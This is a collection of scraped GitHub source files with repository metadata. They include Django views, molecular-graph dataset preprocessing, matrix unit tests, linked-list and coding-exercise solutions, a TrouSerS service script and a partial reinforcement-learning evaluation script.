}\n return render(req, \"library/form-book.html\", vals)\n\n\ndef updateBook(req, slug):\n vals = {}\n try:\n book = Book.objects.get(slug=slug)\n form = BookForm(instance=book)\n vals.update({\n 'form':form,\n })\n if req.method == 'POST':\n form = BookForm(req.POST, instance=book)\n if form.is_valid():\n form.save()\n return redirect('all-books')\n vals = {\n 'form': form,\n }\n except ObjectDoesNotExist:\n return redirect('all-books')\n\n return render(req, \"library/form-book.html\", vals)\n\n\ndef deleteBook(req, slug):\n vals = {}\n try:\n selected_book = Book.objects.get(slug=slug)\n if req.method == \"POST\":\n selected_book.delete()\n return redirect('/')\n vals.update({\n 'title': selected_book.title,\n })\n except ObjectDoesNotExist:\n return redirect('all-books')\n return render(req, \"library/delete-object.html\", vals)\n\n\n\n\n\n\n# TODO: Should be able to filter books by tag or author\n# def books_filtered(req,tag=False, author=False):\n# vals = {\n# 'selected_tag': False,\n# 'selected_author': False\n# }\n# try:\n# vals.update({\n#\n# })\n# except ObjectDoesNotExist:\n# pass\n","repo_name":"h3x/myLibrary","sub_path":"library/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"32628265655","text":"# load general packages and functions\nimport numpy as np\nimport rdkit\nimport h5py\nimport os\nimport random\nfrom tqdm import tqdm\n\n# load program-specific functions\nimport analyze as anal\nimport apd\nimport parameters.load as load\nfrom MolecularGraph import PreprocessingGraph\nfrom parameters.constants import constants as C\nimport util\n\n\n\n# functions for preprocessing training data\ndef group_subgraphs(init_idx, molecule_set, dataset_dict, is_training_set, ts_properties_old=None):\n\n data_subgraphs = [] # initialize\n data_APDs = [] # initialize\n molecular_graph_list = [] # initialize\n\n #convert all molecules in `molecule_set` to `MolecularGraphs` to loop over\n molecular_graph_generator = map(get_graph, molecule_set)\n\n molecules_processed = 0 # start counting # of molecules processed\n for graph in molecular_graph_generator:\n\n molecules_processed += 1\n\n #store `PreprocessingGraph` object\n molecular_graph_list.append(graph)\n\n #get the number of decoding graphs\n n_SGs = apd.get_decoding_route_length(molecular_graph=graph)\n\n for new_SG_idx in range(n_SGs): # **note: \"idx\" == \"idx\"\n\n # `get_decoding_route_state() returns a list of [`SG`, `APD`],\n # where `SG := \"subgraph\"; APD := \"action probability distribution\"\n SG, APD = apd.get_decoding_route_state(molecular_graph=graph,\n subgraph_idx=new_SG_idx)\n\n # \"collect\" all APDs corresponding to pre-existing subgraphs,\n # otherwise append both new subgraph and new APD\n count = 0\n for idx, existing_subgraph in enumerate(data_subgraphs):\n\n count += 1\n # check if subgraph `SG` is \"already\" in `data_subgraphs` as\n # `existing_subgraph`, and if so, add the \"new\" APD to the \"old\"\n try: # first compare the node feature matrices\n nodes_equal = (SG[0] == existing_subgraph[0]).all()\n except AttributeError:\n nodes_equal = False\n try: # then compare the edge feature tensors\n edges_equal = (SG[1] == existing_subgraph[1]).all()\n except AttributeError:\n edges_equal = False\n\n # if both matrices have a match, then subgraphs are the same\n if nodes_equal and edges_equal:\n existing_APD = data_APDs[idx]\n\n # add APDs\n existing_APD += APD\n break\n\n # if subgraph is not already in `data_subgraphs`, append it\n if count == len(data_subgraphs) or count == 0:\n data_subgraphs.append(SG)\n data_APDs.append(APD)\n\n # if `C.group_size` unique subgraphs have been processed, save\n # group to the HDF dataset\n len_data_subgraphs = len(data_subgraphs)\n if len_data_subgraphs == C.group_size:\n dataset_dict = save_group(dataset_dict=dataset_dict,\n group_size=C.group_size,\n data_subgraphs=data_subgraphs,\n data_APDs=data_APDs,\n init_idx=init_idx)\n\n # get molecular properties for group iff it's the training set\n ts_properties = get_ts_properties(\n is_training_set=is_training_set,\n molecular_graphs=molecular_graph_list,\n group_size=C.group_size,\n ts_properties_old=ts_properties_old)\n\n # return the datasets, now updated with an additional group\n return molecules_processed, dataset_dict, C.group_size, ts_properties\n\n # save group with < `C.group_size` subgraphs (e.g. the last block)\n dataset_dict = save_group(dataset_dict=dataset_dict,\n group_size=len_data_subgraphs,\n data_subgraphs=data_subgraphs,\n data_APDs=data_APDs,\n init_idx=init_idx)\n\n # get molecular properties for this group iff it's the training set\n ts_properties = get_ts_properties(is_training_set=is_training_set,\n molecular_graphs=molecular_graph_list,\n group_size=len_data_subgraphs,\n ts_properties_old=ts_properties_old)\n\n # return the datasets, now updated with an additional group\n return molecules_processed, dataset_dict, len_data_subgraphs, ts_properties\n\n\ndef create_datasets(hdf_file, max_length, dataset_name_list, dims):\n ds = {} # initialize\n\n # use the name of the dataset as keys in the dictionary of datasets\n for ds_name in dataset_name_list:\n ds[ds_name] = hdf_file.create_dataset(ds_name,\n (max_length, *dims[ds_name]),\n chunks=True,\n dtype=np.dtype(\"int8\"))\n\n return ds\n\n\ndef create_HDF_file(data_path,path, is_training_set=False):\n # load the molecules\n molecule_set = load.molecules(data_path)\n\n # calculate the total number of molecules and the total number of subgraphs\n n_molecules = len(molecule_set)\n total_n_subgraphs = get_n_subgraphs(molecule_set=molecule_set)\n print(f\"-- {n_molecules} molecules in set.\", flush=True)\n print(f\"-- {total_n_subgraphs} total subgraphs in set.\", flush=True)\n\n # create special datatype for each set of arrays\n dataset_names = [\"nodes\", \"edges\", \"APDs\"]\n dims = get_dataset_dims()\n\n # prepare HDF5 file to save 6 different datasets to it\n with h5py.File(f\"{path[:-3]}h5.chunked\", \"a\") as hdf_file:\n\n # if a restart file exists and job is set to restart, then restart the\n # preprocessing where it left off, otherwise process as normal\n restart_index_file = C.output_directory + \"index.restart\"\n if C.restart and os.path.exists(restart_index_file):\n last_molecule_idx = util.read_last_molecule_idx(restart_file_path=C.output_directory)\n skip_collection = bool(last_molecule_idx == n_molecules and is_training_set)\n\n # load dictionary of previously created datasets (`ds` below)\n ds = load_datasets(hdf_file=hdf_file,\n dataset_name_list=dataset_names)\n\n else:\n last_molecule_idx = 0\n skip_collection = False\n\n # create a dictionary of HDF datasets (`ds` below)\n ds = create_datasets(hdf_file=hdf_file,\n max_length=total_n_subgraphs,\n dataset_name_list=dataset_names,\n dims=dims)\n\n dataset_size = 0 # keep track of size to resize dataset later\n ts_properties = None\n\n # loop over subgraphs in blocks of size `C.group_size`\n for init_idx in range(0, total_n_subgraphs, C.group_size):\n # if `skip_collection` == True, skip directly to resizing/shuffling\n # of HDF datasets (e.g. skip the bit below)\n if not skip_collection:\n # get a slice of molecules based on the molecules that have\n # already been processed, indicated by `last_molecule_idx`\n molecule_subset = get_molecule_subset(molecule_set=molecule_set,\n init_idx=last_molecule_idx,\n n_molecules=n_molecules,\n subset_size=C.group_size)\n\n # collect equivalent subgraphs\n (final_molecule_idx, ds, group_size,\n ts_properties) = group_subgraphs(init_idx=init_idx,\n molecule_set=molecule_subset,\n dataset_dict=ds,\n is_training_set=is_training_set,\n ts_properties_old=ts_properties)\n\n # keep track of the last molecule to be processed\n last_molecule_idx += final_molecule_idx\n util.write_last_molecule_idx(last_molecule_idx=last_molecule_idx,\n restart_file_path=C.output_directory)\n dataset_size += group_size\n\n # grouping of graphs' APDs means that the number of groups will be\n # less than (`total_n_subgraphs` % `C.group_size`), so line below\n # breaks the loop once the last molecule in group is the last in\n # the dataset\n if last_molecule_idx == n_molecules:\n\n # resize HDF datasets by removing extra padding from initialization\n resize_datasets(dataset_dict=ds,\n dataset_names=dataset_names,\n dataset_size=dataset_size,\n dataset_dims=dims)\n\n print(\"Datasets resized.\", flush=True)\n if is_training_set:\n\n print(\"Writing training set properties.\", flush=True)\n util.write_ts_properties(ts_properties_dict=ts_properties)\n\n print(\"Shuffling training dataset.\", flush=True)\n for _ in range(int(np.sqrt(dataset_size))):\n random1 = random.randrange(0, dataset_size, 5)\n random2 = random.randrange(0, dataset_size, 5)\n ds = shuffle_datasets(dataset_dict=ds,\n dataset_names=dataset_names,\n idx1=random1,\n idx2=random2)\n\n break\n\n print(f\"* Resaving datasets in unchunked format.\")\n with h5py.File(f\"{path[:-3]}h5.chunked\", \"r\", swmr=True) as chunked_file:\n keys = list(chunked_file.keys())\n data = [chunked_file.get(key)[:] for key in keys]\n data_zipped = tuple(zip(data, keys))\n\n with h5py.File(f\"{path[:-3]}h5\", \"w\") as unchunked_file:\n for d, k in tqdm(data_zipped):\n unchunked_file.create_dataset(k, chunks=None, data=d, dtype=np.dtype(\"int8\"))\n\n # remove the restart file and chunked file if all steps are done\n os.remove(restart_index_file)\n os.remove(f\"{path[:-3]}h5.chunked\")\n\n return None\n\n\ndef resize_datasets(dataset_dict, dataset_names, dataset_size, dataset_dims):\n for dataset_name in dataset_names:\n try:\n dataset_dict[dataset_name].resize(\n (dataset_size, *dataset_dims[dataset_name]))\n except KeyError: # `f_term` has no extra dims\n dataset_dict[dataset_name].resize((dataset_size,))\n\n return dataset_dict\n\n\ndef get_dataset_dims():\n dims = {}\n dims[\"nodes\"] = C.dim_nodes\n dims[\"edges\"] = C.dim_edges\n dims[\"APDs\"] = [np.prod(C.dim_f_add) + np.prod(C.dim_f_conn) + 1]\n return dims\n\n\ndef get_graph(mol):\n if mol is not None:\n if not C.use_aromatic_bonds:\n rdkit.Chem.Kekulize(mol, clearAromaticFlags=True)\n molecular_graph = PreprocessingGraph(molecule=mol, constants=C)\n\n return molecular_graph\n\n\ndef get_molecule_subset(molecule_set, init_idx, n_molecules, subset_size):\n molecule_subset = []\n max_idx = min(init_idx + subset_size, n_molecules)\n\n count = -1\n for mol in molecule_set:\n if mol is not None:\n count += 1\n if count < init_idx:\n continue\n elif count >= max_idx:\n return molecule_subset\n else:\n molecule_subset.append(mol)\n\n return molecule_subset\n\n\ndef get_n_subgraphs(molecule_set):\n n_subgraphs = 0 # start the count\n\n # convert molecules in `molecule_set` to `PreprocessingGraph`s to loop over\n molecular_graph_generator = map(get_graph, molecule_set)\n\n for molecular_graph in molecular_graph_generator:\n\n # get the number of decoding graphs (i.e. the decoding route length)\n n_SGs = apd.get_decoding_route_length(molecular_graph=molecular_graph)\n\n # add the number of subgraphs to the running count\n n_subgraphs += n_SGs\n\n return n_subgraphs\n\n\ndef get_ts_properties(is_training_set, molecular_graphs, group_size, ts_properties_old):\n if is_training_set:\n\n ts_properties_new = anal.evaluate_training_set(\n preprocessing_graphs=molecular_graphs\n )\n\n # merge properties of current group with the previous group analyzed\n if ts_properties_old:\n ts_properties = anal.combine_ts_properties(\n prev_properties=ts_properties_old,\n next_properties=ts_properties_new,\n weight_next=group_size)\n else:\n ts_properties = ts_properties_new\n else:\n ts_properties = None\n\n return ts_properties\n\n\ndef load_datasets(hdf_file, dataset_name_list):\n ds = {} # initialize\n\n # use the name of the dataset as keys in the dictionary of datasets\n for ds_name in dataset_name_list:\n ds[ds_name] = hdf_file.get(ds_name)\n\n return ds\n\n\ndef save_group(dataset_dict, data_subgraphs, data_APDs, group_size, init_idx):\n # convert to `np.ndarray`s\n nodes = np.array([graph_tuple[0] for graph_tuple in data_subgraphs])\n edges = np.array([graph_tuple[1] for graph_tuple in data_subgraphs])\n APDs = np.array(data_APDs)\n\n end_idx = init_idx + group_size # idx to end slicing\n\n # once data is padded, save it to dataset slice\n dataset_dict[\"nodes\"][init_idx:end_idx] = nodes\n dataset_dict[\"edges\"][init_idx:end_idx] = edges\n dataset_dict[\"APDs\"][init_idx:end_idx] = APDs\n\n\n return dataset_dict\n\n\ndef shuffle_datasets(dataset_dict, dataset_names, idx1, idx2):\n for name in dataset_names:\n dataset_dict[name][idx1], dataset_dict[name][idx2] = \\\n dataset_dict[name][idx2], dataset_dict[name][idx1]\n\n return dataset_dict\n","repo_name":"archit342000/RLModel","sub_path":"hritik/preprocess_data/preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":14268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"29196979530","text":"\ndef get_positive_int():\n pos_pair_int = tuple(input('Enter Positive Integer: ').split(' ', 2)[:2])\n return pos_pair_int\n\ndef main():\n pq = int(input('Pair Quantity: '))\n pv = []\n carries = []\n\n for i in range(pq):\n pv.append(get_positive_int())\n\n for v in pv:\n target_count = 1\n\n if len(v[0]) < len(v[1]):\n target_count += len(v[0])\n else:\n target_count += len(v[1])\n \n carry = 0\n for i in range(-1, -target_count, -1):\n if (int(v[0][i]) + int(v[1][i])) > 9:\n carry += 1\n carries.append(carry)\n\n print(f'Input:\\n{pv}')\n print(f'Output:\\n{carries}')\n\n\nif __name__ == '__main__':\n main()","repo_name":"jmconcha/code_snippets","sub_path":"Python/Count-Carries/count_carries0.py","file_name":"count_carries0.py","file_ext":"py","file_size_in_byte":720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"37572595941","text":"from collections import deque\ninp = input()\nstack = deque()\nans = True\nfor sub in inp:\n if sub == '(' or sub == '[':\n stack.append(sub)\n if sub == ')':\n top = stack.pop()\n if top != '(':\n ans = False\n break\n if sub == ']':\n top = stack.pop()\n if top != '[':\n ans = False\n break\nif stack:\n ans = False\nprint(ans)\n","repo_name":"saflhsajkhbgr/My-journey-on-preparing-for-USACO","sub_path":"bracket.py","file_name":"bracket.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"32473956359","text":"from django.shortcuts import render\nfrom .forms import StudentRegistration\n# Create your views here.\ndef add_show (request):\n if request.method == 'POST':\n fm = StudentRegistration(request.POST)\n if fm.is_valid(): #for data save\n fm.save()\n else:\n fm = StudentRegistration()\n\n return render (request, 'enroll/addandshow.html',{'form':fm})","repo_name":"salauddingit007/CRUD","sub_path":"enroll/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"18033600644","text":"from django.db import models\nfrom .reader import as_json_path\n\n\n__all__ = ('Relation',)\n\n\nclass Relation:\n \"\"\"\n Describe a relation between a reference object and a related one\n (referred as \"target\"). Reference object can either be a model or\n data.\n\n Example from input data:\n\n ```\n data = {\n name: 'horse name',\n stable: 'stable name',\n trainer: { 'name': 'trainer name' },\n weight,\n }\n\n pool = {\n stables: { 'stable name': StableModel() }\n trainers: { 'trainer name': TrainerModel() }\n }\n ```\n\n Here:\n - key: 'trainers', 'stables'\n - source_field: 'name', 'stable'\n - nested path: '$.trainer', None\n \n Used to get the right foreign key to the reference, using provided\n pool.\n \"\"\"\n def __init__(self, key, source_field, nested_path=None):\n self.key = key\n self.source_field = source_field\n self.nested_path = as_json_path(nested_path, True)\n\n def resolve(self, pool, data):\n \"\"\"\n Resolve object from provided pool. Raise KeyError if not found,\n return None if no source info.\n \"\"\"\n source = self.get_reference_data(data)\n if not source:\n return None\n pk = source.get(self.source_field)\n if pk is None:\n return None\n target = pool[self.key][pk]\n return target\n\n def get_reference_data(self, data):\n \"\"\" Get nested source object if any, or data \"\"\"\n if isinstance(data, models.Model):\n data = data.__dict__\n if not self.nested_path:\n return data\n return next((m.current_value for m in self.nested_path.match(data)), None)\n\n","repo_name":"bkfox/django-fox-tools","sub_path":"fox_tools/data/relation.py","file_name":"relation.py","file_ext":"py","file_size_in_byte":1744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"74660750332","text":"# Author: Jef Wagner\n# Date: 13-02-2015\n\nfrom matrix import *\nfrom vector import *\n\nimport math\nimport unittest\n\nclass TestMatrixFunctions(unittest.TestCase):\n\n\t# Test all versions of the constructors\n\t# - numbers separated by commas\n\t# - list for each row, separated by commas\n\t# - a single large list\n\t# - a 2-d list\n\t# - a list with the wrong number of elements\n\tdef test_Constructor(self):\n\t\tm = Mat2x2(1,0,0,1)\n\t\tself.assertIsInstance(m, Mat2x2)\n\t\tm = Mat3x3([1,0,0],[0,1,0],[0,0,1])\n\t\tself.assertIsInstance(m, Mat3x3)\n\t\ta = [1,0,0,0,0]*4\n\t\tm = Mat4x4(a[:16])\n\t\tself.assertIsInstance(m, Mat4x4)\n\t\ta = [1,0,0,0]*3\n\t\ta = [a[i:i+3] for i in range(0,len(a),3)][:2]\n\t\tm = Mat2x3(a)\n\t\tself.assertIsInstance(m, Mat2x3)\n\t\ta = [0]*30\n\t\tself.assertRaises( AttributeError, Mat3x4, a)\n\n\t# Test the len function for all objects\n\t# note that this returns the number of rows\n\tdef test_len(self):\n\t\tml = [ Mat2x2([0]*4),\n\t\t\t Mat3x3([0]*9),\n\t\t\t Mat4x4([0]*16),\n\t\t\t Mat2x3([0]*6),\n\t\t\t Mat3x4([0]*12)]\n\t\tl = [len(m) for m in ml]\n\t\tself.assertEqual( l, [2,3,4,2,3])\n\n\t# Test the `[]` operator for elements, slices, \n\t# and the __iter__ command for iteration.\n\t# The slice returns a numpy array, and equiivalence testing\n\t# returns an array of bools, so I have to use the built in\n\t# `all` function. Further, the iteration should itterate\n\t# over rows.\n\tdef test_index_and_iter(self):\n\t\tm = Mat2x2(1,2,3,4)\n\t\tself.assertEqual(m[0,0],1)\n\t\tm = Mat3x3(1,2,3,4,5,6,7,8,9)\n\t\tself.assertTrue( all( m[0,:] == [1,2,3]))\n\t\tself.assertTrue( all( m[:,0] == [1,4,7]))\n\t\tcolumn1 = [row[1] for row in m]\n\t\tself.assertEqual( column1, [2,5,8])\n\n\t# Test the formatting with direct comparison\n\tdef tests_repr(self):\n\t\tm = Mat2x3(range(6))\n\t\trepr_str = m.__repr__()\n\t\tresult = \"Mat2x3([[0.0, 1.0, 2.0],\\n [3.0, 4.0, 5.0]])\"\n\t\tself.assertEqual( repr_str, result)\n\n\t# Test the equality, inequality, and closeness\n\tdef test_equal_and_close(self):\n\t\tm = Mat2x3([0]*6)\n\t\tself.assertEqual( m, [[0,0,0],[0,0,0]])\n\t\tm = Mat2x2([1,0],[0,1])\n\t\tself.assertNotEqual( m, [[1,0],[0,1.01]])\n\t\tm = Mat4x4([0]*16)\n\t\tself.assertRaises( AttributeError, m.__eq__, range(16))\n\t\tm2 = [[1.e-10, 1.e-10, 1.e-10,0] for x in range(4)]\n\t\tself.assertTrue( m.close( m2))\n\n\t# Test the dot product, and the redefined multiplication\n\t# routines. This uses a Vec2 from the vector module to test\n\t# matrix vector dot product as well.\n\tdef test_dot_and_mul(self):\n\t\teye = Mat2x2(1,0,0,1)\n\t\tm = Mat2x2(0,-1,1,0)\n\t\tself.assertEqual( m*m*m*m, eye)\n\t\tv = Vec2(1,0)\n\t\tself.assertEqual( m*v, [0,1])\n\t\tm = Mat2x3(1,0,1,0,1,1)\n\t\tself.assertEqual( m*v, [2,1])\n\t\tself.assertEqual( m*m, [[1,0,2],[0,1,2]])\n\t\tm2 = Mat3x3([0]*9)\n\t\tself.assertRaises( AttributeError, m.dot, m2)\n\n\t# This test the matrix inversion. Because of round off error\n\t# the matrix times its inverse is not quite the identity, so\n\t# we make the comparison with the `close` method.\n\tdef test_inv(self):\n\t\teye3 = Mat3x3(1,0,0,0,1,0,0,0,1)\n\t\teye34 = Mat3x4(1,0,0,0,0,1,0,0,0,0,1,0)\n\t\tm = Mat3x3([(x+1)**2 for x in range(9)])\n\t\tself.assertTrue( (m*m.inv()).close( eye3, 1.e-3, 1.e-4))\n\t\tm = Mat3x4([(x+1)**2 for x in range(12)])\n\t\tself.assertTrue( (m*m.inv()).close( eye34, 1.e-3, 1.e-4))\n\n\t# Test turning an affine matrix into a square matrix.\n\tdef test_tosquare(self):\n\t\tself.assertIsInstance(Mat3x4([0]*12).to_square(), Mat4x4)\n\t\tself.assertIsInstance(Mat2x3([0]*6).to_square(), Mat3x3)\n\nif __name__ == '__main__':\n\tunittest.main()","repo_name":"tianchuliang/py_graphics","sub_path":"utils/test_matrix.py","file_name":"test_matrix.py","file_ext":"py","file_size_in_byte":3434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"37458755145","text":"from sql2 import *\nfrom tabulate import tabulate\nwhile True:\n\tprint(\"what you like to do?\")\n\toption=[(1,\"add products\"),\n\t\t(2,\"delete products\"),\n\t\t(3,\"display products\"),\n\t\t(4,\"modify by id\"),\n\t\t(5,\"view by id\"),\n\t\t(6,\"view_name\"),\n\t\t(7,\"modify_by_name\"),\n\t\t(8,\"quit\")\n\t\t]\n\tprint(tabulate(option,tablefmt=\"fancy_grid\"))\n\tch=input()\n\tif ch==\"1\":\n\t\tadd_products()\n\telif ch==\"2\":\n\t\tdel_products()\n\n\t\n\n\telif ch==\"3\":\n\t\tdisplay()\n\telif ch==\"4\":\n\t\tmodify_id()\n\telif ch==\"5\":\n\t\tview_id()\n\telif ch==\"6\":\n\t\tview_name()\n\telif ch==\"7\":\n\t\tmodify_by_name()\n\telif ch==\"8\":\n\t\tprint(\"thank you\")\n\t\tquit()\n\n\n\n\t\t\n\n\n\t\t\t","repo_name":"swathiraon/grocery_shop","sub_path":"vproj/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"14490668962","text":"from comar.service import *\n\nimport platform\nimport glob\nimport os\n\nserviceType = \"local\"\nserviceDesc = _({\"en\": \"TrouSerS TCG Core Services daemon\",\n \"tr\": \"TrouSers TCG Hizmeti\",\n })\n\nMSG_NOTPM = _({\"en\": \"Failed starting trousers\",\n \"tr\": \"trousers hizmeti başlatılamadı\",\n })\n\nTCSD = \"/usr/sbin/tcsd\"\nPID_FILE = \"/run/tcsd.pid\"\nDRIVER_DIR = \"/lib/modules/%s/kernel/drivers/char/tpm\"\n\ndef load_drivers():\n if config.has_key(\"TPM_MODULES\"):\n drivers = config.get(\"TPM_MODULES\").split()\n else:\n drivers = glob.glob1(DRIVER_DIR % platform.uname()[2], \"tpm_*\")\n\n for driver in drivers:\n os.system(\"modprobe -q %s\" % driver.split(\".ko\")[0])\n\ndef check_drivers():\n return len(glob.glob(\"/sys/module/tpm_*\")) > 0\n\n@synchronized\ndef start():\n if not check_drivers():\n load_drivers()\n\n ret = startService(command=TCSD,\n pidfile=PID_FILE)\n\n if ret != 0:\n # Probably there aren't any TPM devices\n fail(MSG_NOTPM)\n\n@synchronized\ndef stop():\n stopService(pidfile=PID_FILE,\n donotify=True)\n\ndef status():\n return isServiceRunning(pidfile=PID_FILE)\n","repo_name":"pisilinux/PisiLinux","sub_path":"extra/hardware/security/trousers/comar/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":1210,"program_lang":"python","lang":"en","doc_type":"code","stars":74,"dataset":"github-code","pt":"78"} +{"seq_id":"4099804150","text":"#!/usr/bin/python -t\n\n\n# linked list\n# time O(n)\n# space O(1)\n\n\nfrom lintcode import (\n ListNode,\n)\n\n\"\"\"\nDefinition of ListNode:\nclass ListNode(object):\n def __init__(self, val, next=None):\n self.val = val\n self.next = next\n\"\"\"\n\nclass Solution:\n \"\"\"\n @param head: a ListNode\n @param k: An integer\n @return: a ListNode\n \"\"\"\n def reverse_k_group(self, head: ListNode, k: int) -> ListNode:\n # write your code here\n if not head or k <= 1:\n return head\n\n dummy = ListNode(0)\n dummy.next = head\n prev = dummy\n end = dummy\n\n while end.next != None:\n for i in range(k):\n if end != None:\n end = end.next\n else:\n break\n if end == None:\n break\n\n start = prev.next\n next = end.next\n end.next = None\n prev.next = self.reverse(start)\n start.next = next\n prev = start\n end = prev\n\n return dummy.next\n\n def reverse(self, head):\n if not head or not head.next:\n return head\n\n prev = None\n\n while head:\n next = head.next\n head.next = prev\n prev = head\n head = next\n\n return prev\n\n# linked list\n\n\"\"\"\nDefinition of ListNode\nclass ListNode(object):\n def __init__(self, val, next=None):\n self.val = val\n self.next = next\n\"\"\"\n\nclass Solution:\n \"\"\"\n @param head: a ListNode\n @param k: An integer\n @return: a ListNode\n \"\"\"\n def reverseKGroup(self, head, k):\n # write your code here\n if not head or k <= 1:\n return head\n \n dummy = ListNode(0)\n dummy.next = head\n head = dummy\n \n while head.next:\n head = self.reverseK(head, k)\n \n return dummy.next\n \n def reverseK(self, head, k):\n k_node = head\n \n for i in range(k):\n if k_node.next == None:\n return k_node\n k_node = k_node.next\n \n first_node = head.next\n prev = head\n cur = first_node\n \n for i in range(k):\n tmp = cur.next\n cur.next = prev\n prev = cur\n cur = tmp\n \n head.next = prev\n first_node.next = cur\n \n return first_node\n \n \n","repo_name":"boknowswiki/mytraning","sub_path":"lintcode/python/0450_reverse_nodes_in_k_group.py","file_name":"0450_reverse_nodes_in_k_group.py","file_ext":"py","file_size_in_byte":2473,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"37101324022","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n#\n# Complete the 'pairs' function below.\n#\n# The function is expected to return an INTEGER.\n# The function accepts following parameters:\n# 1. INTEGER k\n# 2. INTEGER_ARRAY arr\n#\n\n\ndef pairs(k, arr):\n # Write your code here\n count = 0\n arr.sort()\n i = 0\n while (i < len(arr)):\n j = i\n findValue = arr[i] + k\n while (arr[j] < findValue and j < len(arr) - 1):\n j += 1\n if (arr[j] == findValue):\n count += 1\n break\n i += 1\n return count\n\n\nk = 2\narr = [1, 5, 3, 4, 2]\n\nprint(pairs(k, arr))","repo_name":"zznam/python_scripts","sub_path":"hackerRank/pairs.py","file_name":"pairs.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"39454455321","text":"import sys\nsys.stdin = open('input_1204.txt', 'r')\n\n# swea 1204 최빈수 구하기\n\nTC = int(input())\n\nfor test_case in range(1, TC+1):\n N = int(input())\n SCORE_LIST = list(map(int, input().split()))\n\n blank_list = [0] * 101 # 0점부터 100점까지 빈 성적 리스트\n\n for i in SCORE_LIST: # 점수를 순서대로 하나씩 뽑는다.\n blank_list[i] += 1 # 점수에 해당하는 위치에 카운트 1개씩 증가시킨다.\n # ex) 71점이면 blank_list의 71번째 인덱스 자리에 카운트 1을 증가\n\n max_cnt = max(blank_list) # 제일 높은 카운트 수를 찾는다. 그게 제일 자주 나온 점수니까\n for i in range(len(blank_list)): # blank_list에서 인덱스를 하나씩 뽑아내서\n if blank_list[i] == max_cnt: # 예를 들어 71번째 인덱스에 17이라는 값이 저장되어있는데, max_cnt와도 같다면\n result = i # 최빈값은 17번 등장한 71이 된다. 그래서 그 인덱스인 i를 저장하는 것!\n\n print('#{} {}'.format(N, result))","repo_name":"YunyLee/Algorithm_STUDY","sub_path":"0901_스터디_1일차/swea_1204최빈수.py","file_name":"swea_1204최빈수.py","file_ext":"py","file_size_in_byte":1047,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"23779343738","text":"import gym\nimport gym_pas\n# We are now using from gym_pas.envs.pas_env import PaSEnv in envs/__init__.py\n# If we want to change back to toy environment, uncomment # from gym_pas.envs.pas_env_toy import PaSEnv.\n\nimport random\nimport os\nimport sys\nimport yaml\nimport numpy as np\nfrom collections import deque\nimport logging\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom storage_multi_env import RolloutStorage\n\nfrom modeling.model_no import Policy\n\nfrom ppo import PPO\nfrom arguments import get_args\nfrom parallelEnv import parallelEnv\n\nfrom torch.utils.tensorboard import SummaryWriter\nimport time\nimport math\nimport copy\n\n\n# def get_config_and_result_folder(yaml_config, create=False):\n# yaml_filename = yaml_config+'.yaml'\n# with open(os.path.join('yaml_configurations', yaml_filename), 'r') as file:\n# config = yaml.load(file, Loader=yaml.FullLoader) \n# # print (\"Successfully loaded %s\" % yaml_filename)\n# result_folder_name = os.path.join('results_paper', yaml_config)\n# if create:\n# try:\n# os.mkdir(result_folder_name)\n# except OSError:\n# print (\"Creation of the directory %s failed\" % result_folder_name)\n# else:\n# print (\"Successfully created the directory %s \" % result_folder_name)\n# return config, result_folder_name\n\ndef create_pas_env_config(config):\n with open('pas_env_config/config.yaml', 'w') as file:\n yaml.dump(config, file)\n yaml_config = 't'+str(config['start_time'])+'_lw'+str(config['car_lw'][0])+str(config['car_lw'][1])\n print (\"Successfully created config.yaml from %s for pas_env.\" % yaml_config)\n return\n\n\ndef main_eval(device):\n time_limit = 300 #1000\n time_limit -= 2 # if we want to get at most (1000, 2) for each episode, we need time_limit = 1000 - 2 = 998\n num_steps = time_limit+1 \n # total_training_epochs = 20\n # intialization\n args = get_args()\n dataset_filepath = '/home/hcalab/Desktop/MYJ/Class/CS598/pas/human_experiment_data/CSV/S0'\n \n env_name = 'pas-v0'\n env = gym.make(env_name)\n all_files = env.datapath(dataset_filepath)\n total_batch = len(all_files)\n print(total_batch)\n\n nenvs = 8\n test_flag = False\n envs = parallelEnv(test_flag, env_name, nenvs, seed=1234)\n\n ecar_policy = torch.load('checkpoint/policy_epoch_23000.pt') # 'checkpoint/policy_epoch_16500.pt'\n\n episode_count_all_epochs = 0\n\n states_all_episodes = []\n infos_all_episodes = []\n collision_all_episodes = []\n # for epoch in range(total_training_epochs):\n\n for nth_episode in range(total_batch):\n print('episode_count_all_epochs: ', episode_count_all_epochs)\n rollouts = RolloutStorage()\n state = envs.reset(time_limit=time_limit) #(nenv,5) \n done = False\n\n states_episode = [state] # have the next state after reaching the end. (1000, 5)\n mask_episode = [] # (999, 5) # last must have been invalid.\n \n\n for i in range(num_steps):\n # state, action, action_log_prob, value, reward, mask should all be tensors with a shape of (1, ...)\n # 0 1 2 3 4\n # ['x_ego', 'y_ego', 'velocity','x_ped', 'y_ped']\n # state_ego_ped_tensor = torch.tensor(state[:, 1:3]) # (nenv, 2) # (y_ego, vel) # this is toy setting.\n ### project setting ###\n # we use relative position of 